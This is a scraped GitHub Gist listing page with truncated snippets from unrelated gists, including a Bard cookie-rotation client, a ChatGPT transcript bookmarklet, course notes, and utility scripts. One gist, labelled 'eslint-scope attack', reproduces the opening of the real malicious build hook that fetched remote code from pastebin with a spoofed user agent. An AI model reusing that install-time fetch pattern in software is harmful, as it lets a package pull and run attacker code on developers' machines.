Skip to content

Instantly share code, notes, and snippets.

@szv99
szv99 / app.py
Created November 27, 2023 20:42
RotateCookies by requests on Google services
import json
import random
from urllib.parse import parse_qs, parse_qsl, urlparse
import requests
import re
class Bard:
def __init__(self, timeout=6, proxies=None, session=None):
with open("API_KEYS.txt", "r") as f:
lines = f.readlines()

Copy ChatGPT Transcript as markdown

javascript:void (async () => { let { default: TD } = await import("https://cdn.skypack.dev/turndown");  let json = [   ...document.querySelectorAll(".text-base"), ].map((i) => ({   html: i.innerHTML,   text: i.innerText,   markdown: new TD().turndown(i),   isPrompt: !i.querySelector(".prose"), }));  window.open(   URL.createObjectURL(     new Blob(       [         json           .map((i) =>             i.isPrompt ? `**Prompt**: ${i.text}` : `**ChatGPT**: ${i.markdown}`           )           .join("\n\n"),       ],       { type: "text/plain" }     )   ) ); })()

Google answer

Get a quick answer from google for any question

(async function answer(q) {
  var html = await fetch(
    `https://cors.explosionscratc.repl.co/google.com/search?q=${encodeURI(q)}`,
@craigtp
craigtp / AdvancedDistributedSystemDesignCourseNotes.md
Created May 1, 2020 19:38
Notes on Udi Dahan's Advanced Distributed System Design Course

Advanced Distributed System Design Course - Udi Dahan

Notes by Craig Phillips

Fallacies of Distributed Computing

  • There are 11 fallacies of Distributed Computing:
    1. The network is reliable
    2. Latency isn’t a problem
    3. Bandwidth isn’t a problem
    4. The network is secure
  1. The topology won’t change
@stefansundin
stefansundin / ffmpeg.rb
Last active August 20, 2021 14:19
Download Twitch video that has muted sound.
#!/usr/bin/env ruby
files = Dir["*.ts"].sort_by { |fn| fn.split(".")[0].to_i }
puts "ffmpeg -i 'concat:#{files.join("|")}' -codec copy output.mkv"
puts
puts "run this first:"
puts "ulimit -n 4096"
@jfcherng
jfcherng / st4-changelog.md
Last active April 20, 2024 00:25
Sublime Text 4 changelog just because it's not on the official website yet.
@codeartery
codeartery / Import.vbs
Last active April 25, 2024 06:08
Import/include/using code from an external VBScript file.
Function Import( vbsFile )
REM@description
' Import/include/using code from an external VBScript file.
REM@author
' Jeremy England, http://codeartery.com/
REM@params
' vbsFile <string> - A relative, absolute, or URL path to a file containing vbscript code.
REM@returns
' Import <bool> - Returns False if the import failed, and True if it succeeded.
REM@mini
#!/bin/env python
import argparse
import base64
import hashlib
import os
import struct
import sys
from binascii import hexlify, unhexlify
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@egyjs
egyjs / Direct Link of YouTube videos.md
Last active April 17, 2024 06:38
PHP API To get Direct Link of YouTube videos